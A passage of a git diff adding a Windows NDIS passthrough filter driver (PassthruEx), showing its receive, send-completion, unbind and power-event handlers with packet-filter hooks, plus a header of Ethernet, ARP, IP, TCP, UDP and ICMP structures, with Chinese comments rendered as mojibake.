(pAdapt->MiniportHandle != NULL) + { + *Status = NdisIMDeInitializeDeviceInstance(pAdapt->MiniportHandle); + + if (*Status != NDIS_STATUS_SUCCESS) + { + *Status = NDIS_STATUS_FAILURE; + } + } + else + { + // + // We need to do some work here. + // Close the binding below us + // and release the memory allocated. + // + if(pAdapt->BindingHandle != NULL) + { + NdisResetEvent(&pAdapt->Event); + + NdisCloseAdapter(Status, pAdapt->BindingHandle); + + // + // Wait for it to complete + // + if(*Status == NDIS_STATUS_PENDING) + { + NdisWaitEvent(&pAdapt->Event, 0); + *Status = pAdapt->Status; + } + pAdapt->BindingHandle = NULL; + } + else + { + // + // Both Our MiniportHandle and Binding Handle should not be NULL. + // + *Status = NDIS_STATUS_FAILURE; + ASSERT(0); + } + + // + // Free the memory here, if was not released earlier(by calling the HaltHandler) + // + // BEGIN_PTUSERIO + + // ÒƳýЭÒé¶ÔÊÊÅäÆ÷µÄÒýÓà + PtDerefAdapter(pAdapt); + +// END_PTUSERIO + } + + DBGPRINT(("<== PtUnbindAdapter: Adapt %p\n", pAdapt)); +} + +VOID +PtUnloadProtocol( + VOID +) +{ + NDIS_STATUS Status; + + if (ProtHandle != NULL) + { + NdisDeregisterProtocol(&Status, ProtHandle); + ProtHandle = NULL; + } + + DBGPRINT(("PtUnloadProtocol: done!\n")); +} + + + +VOID +PtCloseAdapterComplete( + IN NDIS_HANDLE ProtocolBindingContext, + IN NDIS_STATUS Status + ) +/*++ + +Routine Description: + + Completion for the CloseAdapter call. + +Arguments: + + ProtocolBindingContext Pointer to the adapter structure + Status Completion status + +Return Value: + + None. + +--*/ +{ + PADAPT pAdapt =(PADAPT)ProtocolBindingContext; + + DBGPRINT(("CloseAdapterComplete: Adapt %p, Status %x\n", pAdapt, Status)); + pAdapt->Status = Status; + NdisSetEvent(&pAdapt->Event); +} + + +VOID +PtResetComplete( + IN NDIS_HANDLE ProtocolBindingContext, + IN NDIS_STATUS Status + ) +/*++ + +Routine Description: + + Completion for the reset. + +Arguments: + + ProtocolBindingContext Pointer to the adapter structure + Status Completion status + +Return Value: + + None. + +--*/ +{ + + UNREFERENCED_PARAMETER(ProtocolBindingContext); + UNREFERENCED_PARAMETER(Status); + // + // We never issue a reset, so we should not be here. + // + ASSERT(0); +} + + +VOID +PtRequestComplete( + IN NDIS_HANDLE ProtocolBindingContext, + IN PNDIS_REQUEST NdisRequest, + IN NDIS_STATUS Status + ) +/*++ + +Routine Description: + + Completion handler for the previously posted request. All OIDS + are completed by and sent to the same miniport that they were requested for. + If Oid == OID_PNP_QUERY_POWER then the data structure needs to returned with all entries = + NdisDeviceStateUnspecified + +Arguments: + + ProtocolBindingContext Pointer to the adapter structure + NdisRequest The posted request + Status Completion status + +Return Value: + + None + +--*/ +{ + PADAPT pAdapt = (PADAPT)ProtocolBindingContext; + NDIS_OID Oid = pAdapt->Request.DATA.SET_INFORMATION.Oid ; + + +// BEGIN_PTUSERIO + + if(NdisRequest != &(pAdapt->Request)) + { + DevRequestComplete(pAdapt, NdisRequest,Status); + return; + + } +// END_PTUSERIO + + // + // Since our request is not outstanding anymore + // + ASSERT(pAdapt->OutstandingRequests == TRUE); + + pAdapt->OutstandingRequests = FALSE; + + // + // Complete the Set or Query, and fill in the buffer for OID_PNP_CAPABILITIES, if need be. + // + switch (NdisRequest->RequestType) + { + case NdisRequestQueryInformation: + + // + // We never pass OID_PNP_QUERY_POWER down. + // + ASSERT(Oid != OID_PNP_QUERY_POWER); + + if ((Oid == OID_PNP_CAPABILITIES) && (Status == NDIS_STATUS_SUCCESS)) + { + MPQueryPNPCapabilities(pAdapt, &Status); + } + *pAdapt->BytesReadOrWritten = NdisRequest->DATA.QUERY_INFORMATION.BytesWritten; + *pAdapt->BytesNeeded = NdisRequest->DATA.QUERY_INFORMATION.BytesNeeded; + + if ((Oid == OID_GEN_MAC_OPTIONS) && (Status == NDIS_STATUS_SUCCESS)) + { + // + // Remove the no-loopback bit from mac-options. In essence we are + // telling NDIS that we can handle loopback. We don't, but the + // interface below us does. If we do not do this, then loopback + // processing happens both below us and above us. This is wasteful + // at best and if Netmon is running, it will see multiple copies + // of loopback packets when sniffing above us. + // + // Only the lowest miniport is a stack of layered miniports should + // ever report this bit set to NDIS. + // + *(PULONG)NdisRequest->DATA.QUERY_INFORMATION.InformationBuffer &= ~NDIS_MAC_OPTION_NO_LOOPBACK; + } + + NdisMQueryInformationComplete(pAdapt->MiniportHandle, + Status); + break; + + case NdisRequestSetInformation: + + ASSERT( Oid != OID_PNP_SET_POWER); + + *pAdapt->BytesReadOrWritten = NdisRequest->DATA.SET_INFORMATION.BytesRead; + *pAdapt->BytesNeeded = NdisRequest->DATA.SET_INFORMATION.BytesNeeded; + NdisMSetInformationComplete(pAdapt->MiniportHandle, + Status); + break; + + default: + ASSERT(0); + break; + } + +} + + +VOID +PtStatus( + IN NDIS_HANDLE ProtocolBindingContext, + IN NDIS_STATUS GeneralStatus, + IN PVOID StatusBuffer, + IN UINT StatusBufferSize + ) +/*++ + +Routine Description: + + Status handler for the lower-edge(protocol). + +Arguments: + + ProtocolBindingContext Pointer to the adapter structure + GeneralStatus Status code + StatusBuffer Status buffer + StatusBufferSize Size of the status buffer + +Return Value: + + None + +--*/ +{ + PADAPT pAdapt = (PADAPT)ProtocolBindingContext; + + // + // Pass up this indication only if the upper edge miniport is initialized + // and powered on. Also ignore indications that might be sent by the lower + // miniport when it isn't at D0. + // + if ((pAdapt->MiniportHandle != NULL) && + (pAdapt->MPDeviceState == NdisDeviceStateD0) && + (pAdapt->PTDeviceState == NdisDeviceStateD0)) + { + if ((GeneralStatus == NDIS_STATUS_MEDIA_CONNECT) || + (GeneralStatus == NDIS_STATUS_MEDIA_DISCONNECT)) + { + + pAdapt->LastIndicatedStatus = GeneralStatus; + } + NdisMIndicateStatus(pAdapt->MiniportHandle, + GeneralStatus, + StatusBuffer, + StatusBufferSize); + } + // + // Save the last indicated media status + // + else + { + if ((pAdapt->MiniportHandle != NULL) && + ((GeneralStatus == NDIS_STATUS_MEDIA_CONNECT) || + (GeneralStatus == NDIS_STATUS_MEDIA_DISCONNECT))) + { + pAdapt->LatestUnIndicateStatus = GeneralStatus; + } + } + +} + + +VOID +PtStatusComplete( + IN NDIS_HANDLE ProtocolBindingContext + ) +/*++ + +Routine Description: + + +Arguments: + + +Return Value: + + +--*/ +{ + PADAPT pAdapt = (PADAPT)ProtocolBindingContext; + + // + // Pass up this indication only if the upper edge miniport is initialized + // and powered on. Also ignore indications that might be sent by the lower + // miniport when it isn't at D0. + // + if ((pAdapt->MiniportHandle != NULL) && + (pAdapt->MPDeviceState == NdisDeviceStateD0) && + (pAdapt->PTDeviceState == NdisDeviceStateD0)) + { + NdisMIndicateStatusComplete(pAdapt->MiniportHandle); + } +} + + +VOID +PtSendComplete( + IN NDIS_HANDLE ProtocolBindingContext, + IN PNDIS_PACKET Packet, + IN NDIS_STATUS Status + ) +/*++ + +Routine Description: + + Called by NDIS when the miniport below had completed a send. We should + complete the corresponding upper-edge send this represents. + +Arguments: + + ProtocolBindingContext - Points to ADAPT structure + Packet - Low level packet being completed + Status - status of send + +Return Value: + + None + +--*/ +{ + PADAPT pAdapt = (PADAPT)ProtocolBindingContext; + PNDIS_PACKET Pkt; + NDIS_HANDLE PoolHandle; + +#ifdef NDIS51 + // + // Packet stacking: + // + // Determine if the packet we are completing is the one we allocated. If so, then + // get the original packet from the reserved area and completed it and free the + // allocated packet. If this is the packet that was sent down to us, then just + // complete it + // + PoolHandle = NdisGetPoolFromPacket(Packet); + if (PoolHandle != pAdapt->SendPacketPoolHandle) + { + // + // We had passed down a packet belonging to the protocol above us. + // + // DBGPRINT(("PtSendComp: Adapt %p, Stacked Packet %p\n", pAdapt, Packet)); + + NdisMSendComplete(pAdapt->MiniportHandle, + Packet, + Status); + } + else +#endif // NDIS51 + { + PSEND_RSVD SendRsvd; + + SendRsvd = (PSEND_RSVD)(Packet->ProtocolReserved); + Pkt = SendRsvd->OriginalPkt; + +#ifndef WIN9X + NdisIMCopySendCompletePerPacketInfo (Pkt, Packet); +#endif + + NdisDprFreePacket(Packet); + + NdisMSendComplete(pAdapt->MiniportHandle, + Pkt, + Status); + } + // + // Decrease the outstanding send count + // + ADAPT_DECR_PENDING_SENDS(pAdapt); +} + + +VOID +PtTransferDataComplete( + IN NDIS_HANDLE ProtocolBindingContext, + IN PNDIS_PACKET Packet, + IN NDIS_STATUS Status, + IN UINT BytesTransferred + ) +/*++ + +Routine Description: + + Entry point called by NDIS to indicate completion of a call by us + to NdisTransferData. + + See notes under SendComplete. + +Arguments: + +Return Value: + +--*/ +{ + PADAPT pAdapt =(PADAPT)ProtocolBindingContext; + + if(pAdapt->MiniportHandle) + { + NdisMTransferDataComplete(pAdapt->MiniportHandle, + Packet, + Status, + BytesTransferred); + } +} + + +NDIS_STATUS +PtReceive( + IN NDIS_HANDLE ProtocolBindingContext, + IN NDIS_HANDLE MacReceiveContext, + IN PVOID HeaderBuffer, + IN UINT HeaderBufferSize, + IN PVOID LookAheadBuffer, + IN UINT LookAheadBufferSize, + IN UINT PacketSize + ) +/*++ + +Routine Description: + + Handle receive data indicated up by the miniport below. We pass + it along to the protocol above us. + + If the miniport below indicates packets, NDIS would more + likely call us at our ReceivePacket handler. However we + might be called here in certain situations even though + the miniport below has indicated a receive packet, e.g. + if the miniport had set packet status to NDIS_STATUS_RESOURCES. + +Arguments: + + + +Return Value: + + NDIS_STATUS_SUCCESS if we processed the receive successfully, + NDIS_STATUS_XXX error code if we discarded it. + +--*/ +{ + PADAPT pAdapt = (PADAPT)ProtocolBindingContext; + PNDIS_PACKET MyPacket, Packet; + NDIS_STATUS Status = NDIS_STATUS_SUCCESS; + + if ((!pAdapt->MiniportHandle) || (pAdapt->MPDeviceState > NdisDeviceStateD0)) + { + Status = NDIS_STATUS_FAILURE; + } + else do + { +// BEGIN_PTEX_FILTER + BOOLEAN bPass; + + bPass = FltFilterReceive( + pAdapt, + MacReceiveContext, + HeaderBuffer, + HeaderBufferSize, + LookAheadBuffer, + LookAheadBufferSize, + PacketSize + ); + + if(!bPass) + { + // ¾Ü¾øÕâ¸ö·â°ü + Status = NDIS_STATUS_SUCCESS; + break; + } + +// END_PTEX_FILTER + // + // Get at the packet, if any, indicated up by the miniport below. + // + Packet = NdisGetReceivedPacket(pAdapt->BindingHandle, MacReceiveContext); + if (Packet != NULL) + { + // + // The miniport below did indicate up a packet. Use information + // from that packet to construct a new packet to indicate up. + // + +#ifdef NDIS51 + // + // NDIS 5.1 NOTE: Do not reuse the original packet in indicating + // up a receive, even if there is sufficient packet stack space. + // If we had to do so, we would have had to overwrite the + // status field in the original packet to NDIS_STATUS_RESOURCES, + // and it is not allowed for protocols to overwrite this field + // in received packets. + // +#endif // NDIS51 + + // + // Get a packet off the pool and indicate that up + // + NdisDprAllocatePacket(&Status, + &MyPacket, + pAdapt->RecvPacketPoolHandle); + + if (Status == NDIS_STATUS_SUCCESS) + { + // + // Make our packet point to data from the original + // packet. NOTE: this works only because we are + // indicating a receive directly from the context of + // our receive indication. If we need to queue this + // packet and indicate it from another thread context, + // we will also have to allocate a new buffer and copy + // over the packet contents, OOB data and per-packet + // information. This is because the packet data + // is available only for the duration of this + // receive indication call. + // + MyPacket->Private.Head = Packet->Private.Head; + MyPacket->Private.Tail = Packet->Private.Tail; + + // + // Get the original packet (it could be the same packet as the + // one received or a different one based on the number of layered + // miniports below) and set it on the indicated packet so the OOB + // data is visible correctly at protocols above. + // + NDIS_SET_ORIGINAL_PACKET(MyPacket, NDIS_GET_ORIGINAL_PACKET(Packet)); + NDIS_SET_PACKET_HEADER_SIZE(MyPacket, HeaderBufferSize); + + // + // Copy packet flags. + // + NdisGetPacketFlags(MyPacket) = NdisGetPacketFlags(Packet); + + // + // Force protocols above to make a copy if they want to hang + // on to data in this packet. This is because we are in our + // Receive handler (not ReceivePacket) and we can't return a + // ref count from here. + // + NDIS_SET_PACKET_STATUS(MyPacket, NDIS_STATUS_RESOURCES); + + // + // By setting NDIS_STATUS_RESOURCES, we also know that we can reclaim + // this packet as soon as the call to NdisMIndicateReceivePacket + // returns. + // + + NdisMIndicateReceivePacket(pAdapt->MiniportHandle, &MyPacket, 1); + + // + // Reclaim the indicated packet. Since we had set its status + // to NDIS_STATUS_RESOURCES, we are guaranteed that protocols + // above are done with it. + // + NdisDprFreePacket(MyPacket); + + break; + } + } + else + { + // + // The miniport below us uses the old-style (not packet) + // receive indication. Fall through. + // + } + + // + // Fall through if the miniport below us has either not + // indicated a packet or we could not allocate one + // + pAdapt->IndicateRcvComplete = TRUE; + switch (pAdapt->Medium) + { + case NdisMedium802_3: + case NdisMediumWan: + NdisMEthIndicateReceive(pAdapt->MiniportHandle, + MacReceiveContext, + HeaderBuffer, + HeaderBufferSize, + LookAheadBuffer, + LookAheadBufferSize, + PacketSize); + break; + + case NdisMedium802_5: + NdisMTrIndicateReceive(pAdapt->MiniportHandle, + MacReceiveContext, + HeaderBuffer, + HeaderBufferSize, + LookAheadBuffer, + LookAheadBufferSize, + PacketSize); + break; + + case NdisMediumFddi: + NdisMFddiIndicateReceive(pAdapt->MiniportHandle, + MacReceiveContext, + HeaderBuffer, + HeaderBufferSize, + LookAheadBuffer, + LookAheadBufferSize, + PacketSize); + break; + + default: + ASSERT(FALSE); + break; + } + + } while(FALSE); + + return Status; +} + + +VOID +PtReceiveComplete( + IN NDIS_HANDLE ProtocolBindingContext + ) +/*++ + +Routine Description: + + Called by the adapter below us when it is done indicating a batch of + received packets. + +Arguments: + + ProtocolBindingContext Pointer to our adapter structure. + +Return Value: + + None + +--*/ +{ + PADAPT pAdapt =(PADAPT)ProtocolBindingContext; + + if (((pAdapt->MiniportHandle != NULL) + && (pAdapt->MPDeviceState > NdisDeviceStateD0)) + && (pAdapt->IndicateRcvComplete)) + { + switch (pAdapt->Medium) + { + case NdisMedium802_3: + case NdisMediumWan: + NdisMEthIndicateReceiveComplete(pAdapt->MiniportHandle); + break; + + case NdisMedium802_5: + NdisMTrIndicateReceiveComplete(pAdapt->MiniportHandle); + break; + + case NdisMediumFddi: + NdisMFddiIndicateReceiveComplete(pAdapt->MiniportHandle); + break; + + default: + ASSERT(FALSE); + break; + } + } + + pAdapt->IndicateRcvComplete = FALSE; +} + + +INT +PtReceivePacket( + IN NDIS_HANDLE ProtocolBindingContext, + IN PNDIS_PACKET Packet + ) +/*++ + +Routine Description: + + ReceivePacket handler. Called by NDIS if the miniport below supports + NDIS 4.0 style receives. Re-package the buffer chain in a new packet + and indicate the new packet to protocols above us. Any context for + packets indicated up must be kept in the MiniportReserved field. + + NDIS 5.1 - packet stacking - if there is sufficient "stack space" in + the packet passed to us, we can use the same packet in a receive + indication. + +Arguments: + + ProtocolBindingContext - Pointer to our adapter structure. + Packet - Pointer to the packet + +Return Value: + + == 0 -> We are done with the packet + != 0 -> We will keep the packet and call NdisReturnPackets() this + many times when done. +--*/ +{ + PADAPT pAdapt =(PADAPT)ProtocolBindingContext; + NDIS_STATUS Status; + PNDIS_PACKET MyPacket; + BOOLEAN Remaining; + + // + // Drop the packet silently if the upper miniport edge isn't initialized or + // the miniport edge is in low power state + // + if ((!pAdapt->MiniportHandle) || (pAdapt->MPDeviceState > NdisDeviceStateD0)) + { + return 0; + } + +// BEGIN_PTEX_FILTER + // + // µ÷ÓùýÂ˽ÓÊÕ·â°üµÄº¯Êý + // + if(!FltFilterReceivePacket( pAdapt, Packet )) + return 0; +// END_PTEX_FILTER + +#ifdef NDIS51 + // + // Check if we can reuse the same packet for indicating up. + // See also: PtReceive(). + // + (VOID)NdisIMGetCurrentPacketStack(Packet, &Remaining); + if (Remaining) + { + // + // We can reuse "Packet". Indicate it up and be done with it. + // + Status = NDIS_GET_PACKET_STATUS(Packet); + NdisMIndicateReceivePacket(pAdapt->MiniportHandle, &Packet, 1); + return((Status != NDIS_STATUS_RESOURCES) ? 1 : 0); + } +#endif // NDIS51 + + // + // Get a packet off the pool and indicate that up + // + NdisDprAllocatePacket(&Status, + &MyPacket, + pAdapt->RecvPacketPoolHandle); + + if (Status == NDIS_STATUS_SUCCESS) + { + PRECV_RSVD RecvRsvd; + + RecvRsvd = (PRECV_RSVD)(MyPacket->MiniportReserved); + RecvRsvd->OriginalPkt = Packet; + + MyPacket->Private.Head = Packet->Private.Head; + MyPacket->Private.Tail = Packet->Private.Tail; + + // + // Get the original packet (it could be the same packet as the one + // received or a different one based on the number of layered miniports + // below) and set it on the indicated packet so the OOB data is visible + // correctly to protocols above us. + // + NDIS_SET_ORIGINAL_PACKET(MyPacket, NDIS_GET_ORIGINAL_PACKET(Packet)); + + // + // Set Packet Flags + // + NdisGetPacketFlags(MyPacket) = NdisGetPacketFlags(Packet); + + Status = NDIS_GET_PACKET_STATUS(Packet); + + NDIS_SET_PACKET_STATUS(MyPacket, Status); + NDIS_SET_PACKET_HEADER_SIZE(MyPacket, NDIS_GET_PACKET_HEADER_SIZE(Packet)); + + NdisMIndicateReceivePacket(pAdapt->MiniportHandle, &MyPacket, 1); + + // + // Check if we had indicated up the packet with NDIS_STATUS_RESOURCES + // NOTE -- do not use NDIS_GET_PACKET_STATUS(MyPacket) for this since + // it might have changed! Use the value saved in the local variable. + // + if (Status == NDIS_STATUS_RESOURCES) + { + // + // Our ReturnPackets handler will not be called for this packet. + // We should reclaim it right here. + // + NdisDprFreePacket(MyPacket); + } + + return((Status != NDIS_STATUS_RESOURCES) ? 1 : 0); + } + else + { + // + // We are out of packets. Silently drop it. + // + return(0); + } +} + + + + +NDIS_STATUS +PtPNPHandler( + IN NDIS_HANDLE ProtocolBindingContext, + IN PNET_PNP_EVENT pNetPnPEvent + ) + +/*++ +Routine Description: + + This is called by NDIS to notify us of a PNP event related to a lower + binding. Based on the event, this dispatches to other helper routines. + + NDIS 5.1: forward this event to the upper protocol(s) by calling + NdisIMNotifyPnPEvent. + +Arguments: + + ProtocolBindingContext - Pointer to our adapter structure. Can be NULL + for "global" notifications + + pNetPnPEvent - Pointer to the PNP event to be processed. + +Return Value: + + NDIS_STATUS code indicating status of event processing. + +--*/ +{ + PADAPT pAdapt =(PADAPT)ProtocolBindingContext; + NDIS_STATUS Status = NDIS_STATUS_SUCCESS; + + DBGPRINT(("PtPnPHandler: Adapt %p, Event %d\n", pAdapt, pNetPnPEvent->NetEvent)); + + switch (pNetPnPEvent->NetEvent) + { + case NetEventSetPower: + Status = PtPnPNetEventSetPower(pAdapt, pNetPnPEvent); + break; + + case NetEventReconfigure: + Status = PtPnPNetEventReconfigure(pAdapt, pNetPnPEvent); + break; + + default: +#ifdef NDIS51 + // + // Pass on this notification to protocol(s) above, before + // doing anything else with it. + // + if (pAdapt && pAdapt->MiniportHandle) + { + Status = NdisIMNotifyPnPEvent(pAdapt->MiniportHandle, pNetPnPEvent); + } +#else + Status = NDIS_STATUS_SUCCESS; + +#endif // NDIS51 + + break; + } + + return Status; +} + + +NDIS_STATUS +PtPnPNetEventReconfigure( + IN PADAPT pAdapt, + IN PNET_PNP_EVENT pNetPnPEvent + ) +/*++ +Routine Description: + + This routine is called from NDIS to notify our protocol edge of a + reconfiguration of parameters for either a specific binding (pAdapt + is not NULL), or global parameters if any (pAdapt is NULL). + +Arguments: + + pAdapt - Pointer to our adapter structure. + pNetPnPEvent - the reconfigure event + +Return Value: + + NDIS_STATUS_SUCCESS + +--*/ +{ + NDIS_STATUS ReconfigStatus = NDIS_STATUS_SUCCESS; + NDIS_STATUS ReturnStatus = NDIS_STATUS_SUCCESS; + + do + { + // + // Is this is a global reconfiguration notification ? + // + if (pAdapt == NULL) + { + // + // An important event that causes this notification to us is if + // one of our upper-edge miniport instances was enabled after being + // disabled earlier, e.g. from Device Manager in Win2000. Note that + // NDIS calls this because we had set up an association between our + // miniport and protocol entities by calling NdisIMAssociateMiniport. + // + // Since we would have torn down the lower binding for that miniport, + // we need NDIS' assistance to re-bind to the lower miniport. The + // call to NdisReEnumerateProtocolBindings does exactly that. + // + NdisReEnumerateProtocolBindings (ProtHandle); + break; + } + +#ifdef NDIS51 + // + // Pass on this notification to protocol(s) above before doing anything + // with it. + // + if (pAdapt->MiniportHandle) + { + ReturnStatus = NdisIMNotifyPnPEvent(pAdapt->MiniportHandle, pNetPnPEvent); + } +#endif // NDIS51 + + ReconfigStatus = NDIS_STATUS_SUCCESS; + + } while(FALSE); + + DBGPRINT(("<==PtPNPNetEventReconfigure: pAdapt %p\n", pAdapt)); + +#ifdef NDIS51 + // + // Overwrite status with what upper-layer protocol(s) returned. + // + ReconfigStatus = ReturnStatus; +#endif + + return ReconfigStatus; +} + + +NDIS_STATUS +PtPnPNetEventSetPower( + IN PADAPT pAdapt, + IN PNET_PNP_EVENT pNetPnPEvent + ) +/*++ +Routine Description: + + This is a notification to our protocol edge of the power state + of the lower miniport. If it is going to a low-power state, we must + wait here for all outstanding sends and requests to complete. + + NDIS 5.1: Since we use packet stacking, it is not sufficient to + check usage of our local send packet pool to detect whether or not + all outstanding sends have completed. For this, use the new API + NdisQueryPendingIOCount. + + NDIS 5.1: Use the 5.1 API NdisIMNotifyPnPEvent to pass on PnP + notifications to upper protocol(s). + +Arguments: + + pAdapt - Pointer to the adpater structure + pNetPnPEvent - The Net Pnp Event. this contains the new device state + +Return Value: + + NDIS_STATUS_SUCCESS or the status returned by upper-layer protocols. + +--*/ +{ + PNDIS_DEVICE_POWER_STATE pDeviceState =(PNDIS_DEVICE_POWER_STATE)(pNetPnPEvent->Buffer); + NDIS_DEVICE_POWER_STATE PrevDeviceState = pAdapt->PTDeviceState; + NDIS_STATUS Status; + NDIS_STATUS ReturnStatus; +#ifdef NDIS51 + ULONG PendingIoCount = 0; +#endif // NDIS51 + + ReturnStatus = NDIS_STATUS_SUCCESS; + + // + // Set the Internal Device State, this blocks all new sends or receives + // + NdisAcquireSpinLock(&pAdapt->Lock); + pAdapt->PTDeviceState = *pDeviceState; + + // + // Check if the miniport below is going to a low power state. + // + if (pAdapt->PTDeviceState > NdisDeviceStateD0) + { + // + // If the miniport below is going to standby, fail all incoming requests + // + if (PrevDeviceState == NdisDeviceStateD0) + { + pAdapt->StandingBy = TRUE; + } + + NdisReleaseSpinLock(&pAdapt->Lock); + +#ifdef NDIS51 + // + // Notify upper layer protocol(s) first. + // + if (pAdapt->MiniportHandle != NULL) + { + ReturnStatus = NdisIMNotifyPnPEvent(pAdapt->MiniportHandle, pNetPnPEvent); + } +#endif // NDIS51 + + // + // Wait for outstanding sends and requests to complete. + // + while (pAdapt->OutstandingSends != 0) + { + NdisMSleep(2); + } + + while (pAdapt->OutstandingRequests == TRUE) + { + // + // sleep till outstanding requests complete + // + NdisMSleep(2); + } + + // + // If the below miniport is going to low power state, complete the queued request + // + NdisAcquireSpinLock(&pAdapt->Lock); + if (pAdapt->QueuedRequest) + { + pAdapt->QueuedRequest = FALSE; + NdisReleaseSpinLock(&pAdapt->Lock); + PtRequestComplete(pAdapt, &pAdapt->Request, NDIS_STATUS_FAILURE); + } + else + { + NdisReleaseSpinLock(&pAdapt->Lock); + } + + + ASSERT(NdisPacketPoolUsage(pAdapt->SendPacketPoolHandle) == 0); + ASSERT(pAdapt->OutstandingRequests == FALSE); + } + else + { + // + // If the physical miniport is powering up (from Low power state to D0), + // clear the flag + // + if (PrevDeviceState > NdisDeviceStateD0) + { + pAdapt->StandingBy = FALSE; + } + // + // The device below is being turned on. If we had a request + // pending, send it down now. + // + if (pAdapt->QueuedRequest == TRUE) + { + pAdapt->QueuedRequest = FALSE; + + pAdapt->OutstandingRequests = TRUE; + NdisReleaseSpinLock(&pAdapt->Lock); + + NdisRequest(&Status, + pAdapt->BindingHandle, + &pAdapt->Request); + + if (Status != NDIS_STATUS_PENDING) + { + PtRequestComplete(pAdapt, + &pAdapt->Request, + Status); + + } + } + else + { + NdisReleaseSpinLock(&pAdapt->Lock); + } + + +#ifdef NDIS51 + // + // Pass on this notification to protocol(s) above + // + if (pAdapt->MiniportHandle) + { + ReturnStatus = NdisIMNotifyPnPEvent(pAdapt->MiniportHandle, pNetPnPEvent); + } +#endif // NDIS51 + + } + + return ReturnStatus; +} + + diff --git "a/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/protoinfo.h" "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/protoinfo.h" new file mode 100644 index 0000000..6df14da --- /dev/null +++ "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/protoinfo.h" @@ -0,0 +1,258 @@ +////////////////////////////////////////////////// +// protoinfo.hÎļþ + +/* + +¶¨ÒåЭÒé¸ñʽ +¶¨ÒåЭÒéÖÐʹÓõĺê + + */ + + +#ifndef __PROTOINFO_H__ +#define __PROTOINFO_H__ + + + +//////////////////////////////////////////// +// ºê¶¨Òå + + + + + + + + + + +///////////////////////////////////////////////////////// +// ЭÒé¸ñʽ + +#define ETHERTYPE_IP 0x0800 +#define ETHERTYPE_ARP 0x0806 + +typedef struct _ETHeader // 14 bytes +{ + UCHAR dhost[6]; // Ä¿µÄMACµØÖ·destination mac address + UCHAR shost[6]; // Ô´MACµØÖ·source mac address + USHORT type; // ϲãЭÒéÀàÐÍ£¬ÈçIP£¨ETHERTYPE_IP£©¡¢ARP£¨ETHERTYPE_ARP£©µÈ +} ETHeader, *PETHeader; + + +#define ARPHRD_ETHER 1 + +// ARPЭÒéopcodes +#define ARPOP_REQUEST 1 // ARP ÇëÇó +#define ARPOP_REPLY 2 // ARP ÏìÓ¦ + + + +typedef struct _ARPHeader // 28×Ö½ÚµÄARPÍ· +{ + USHORT hrd; // Ó²¼þµØÖ·¿Õ¼ä£¬ÒÔÌ«ÍøÖÐΪARPHRD_ETHER + USHORT eth_type; // ÒÔÌ«ÍøÀàÐÍ£¬ETHERTYPE_IP £¿£¿ + UCHAR maclen; // MACµØÖ·µÄ³¤¶È£¬Îª6 + UCHAR iplen; // IPµØÖ·µÄ³¤¶È£¬Îª4 + USHORT opcode; // ²Ù×÷´úÂ룬ARPOP_REQUESTΪÇëÇó£¬ARPOP_REPLYΪÏìÓ¦ + UCHAR smac[6]; // Ô´MACµØÖ· + UCHAR saddr[4]; // Ô´IPµØÖ· + UCHAR dmac[6]; // Ä¿µÄMACµØÖ· + UCHAR daddr[4]; // Ä¿µÄIPµØÖ· +} ARPHeader, *PARPHeader; + + + +//Protocol +#define PROTO_ICMP 1 +#define PROTO_IGMP 2 +#define PROTO_TCP 6 +#define PROTO_UDP 17 + +typedef struct _IPHeader // 20 +{ + UCHAR iphVerLen; // °æ±¾ºÅºÍÍ·³¤¶È£¨¸÷Õ¼4룩 + UCHAR ipTOS; // ·þÎñÀàÐÍ + USHORT ipLength; // ·â°ü×ܳ¤¶È£¬¼´Õû¸öIP±¨µÄ³¤¶È + USHORT ipID; // ·â°ü±êʶ£¬Î©Ò»±êʶ·¢Ë͵Äÿһ¸öÊý¾Ý±¨ + USHORT ipFlags; // ±êÖ¾ + UCHAR ipTTL; // Éú´æʱ¼ä£¬¾ÍÊÇTTL + UCHAR ipProtocol; // ЭÒ飬¿ÉÄÜÊÇTCP¡¢UDP¡¢ICMPµÈ + USHORT ipChecksum; // УÑéºÍ + ULONG ipSource; // Ô´IPµØÖ· + ULONG ipDestination; // Ä¿±êIPµØÖ· +} IPHeader, *PIPHeader; + + +// define the tcp flags.... +#define TCP_FIN 0x01 +#define TCP_SYN 0x02 +#define TCP_RST 0x04 +#define TCP_PSH 0x08 +#define TCP_ACK 0x10 +#define TCP_URG 0x20 +#define TCP_ACE 0x40 +#define TCP_CWR 0x80 + +typedef struct _TCPHeader //20 bytes +{ + USHORT sourcePort; // 16λԴ¶Ë¿ÚºÅ + USHORT destinationPort; // 16λĿµÄ¶Ë¿ÚºÅ + ULONG sequenceNumber; // 32λÐòÁкŠ+ ULONG acknowledgeNumber; // 32λȷÈϺŠ+ + + UCHAR dataoffset; // ¸ß4λ±íʾÊý¾ÝÆ«ÒÆ + UCHAR flags; // 6λ±ê־λ + //FIN - 0x01 + //SYN - 0x02 + //RST - 0x04 + //PUSH- 0x08 + //ACK- 0x10 + //URG- 0x20 + //ACE- 0x40 + //CWR- 0x80 + + + USHORT windows; // 16λ´°¿Ú´óС + USHORT checksum; // 16λУÑéºÍ + USHORT urgentPointer; // 16λ½ô¼±Êý¾ÝÆ«ÒÆÁ¿ +} TCPHeader, *PTCPHeader; + +typedef struct _UDPHeader +{ + USHORT sourcePort; // Ô´¶Ë¿ÚºÅ + USHORT destinationPort;// Ä¿µÄ¶Ë¿ÚºÅ + USHORT len; // ·â°ü³¤¶È + USHORT checksum; // УÑéºÍ +} UDPHeader, *PUDPHeader; + + +typedef struct _ICMPHeader +{ + UCHAR type; + UCHAR code; + USHORT checksum; + USHORT id; + USHORT sequence; + ULONG timestamp; +} ICMPHeader, *PICMPHeader; + + +#endif // __PROTOINFO_H__ + + + + +/* + + + + + +#define ETHER_LENGTH 14 +#define IP_LENGTH 20 +#define TCP_LENGTH 20 +#define UDP_LENGTH 8 +#define ICMP_LENGTH 8 +#define ARP_LENGTH 28 +#define PSEUDO_LENGTH 12 +#define DATA_LENGTH 32 + + +typedef struct ether_hdr // 14 bytes +{ + u_char dhost[6]; //destination mac address + u_char shost[6]; //source mac address + u_short type; //IP ,ARP , RARP Next Layer Protocol IP:0800 ARP:0806 +} ETHER_HDR, *PETHER_HDR; + +// 4 byte ip address +typedef struct ip_addr +{ + u_char byte1; + u_char byte2; + u_char byte3; + u_char byte4; +} IP_ADDR, *PIP_ADDR; + + +typedef struct arp_hdr //28 bytes ARP_LENGTH +{ + u_short hrd; //hardware address space=0x0001 + u_short eth_type; //Ethernet type ....=0x0800 + u_char maclen; //Length of mac address=6 + u_char iplen; 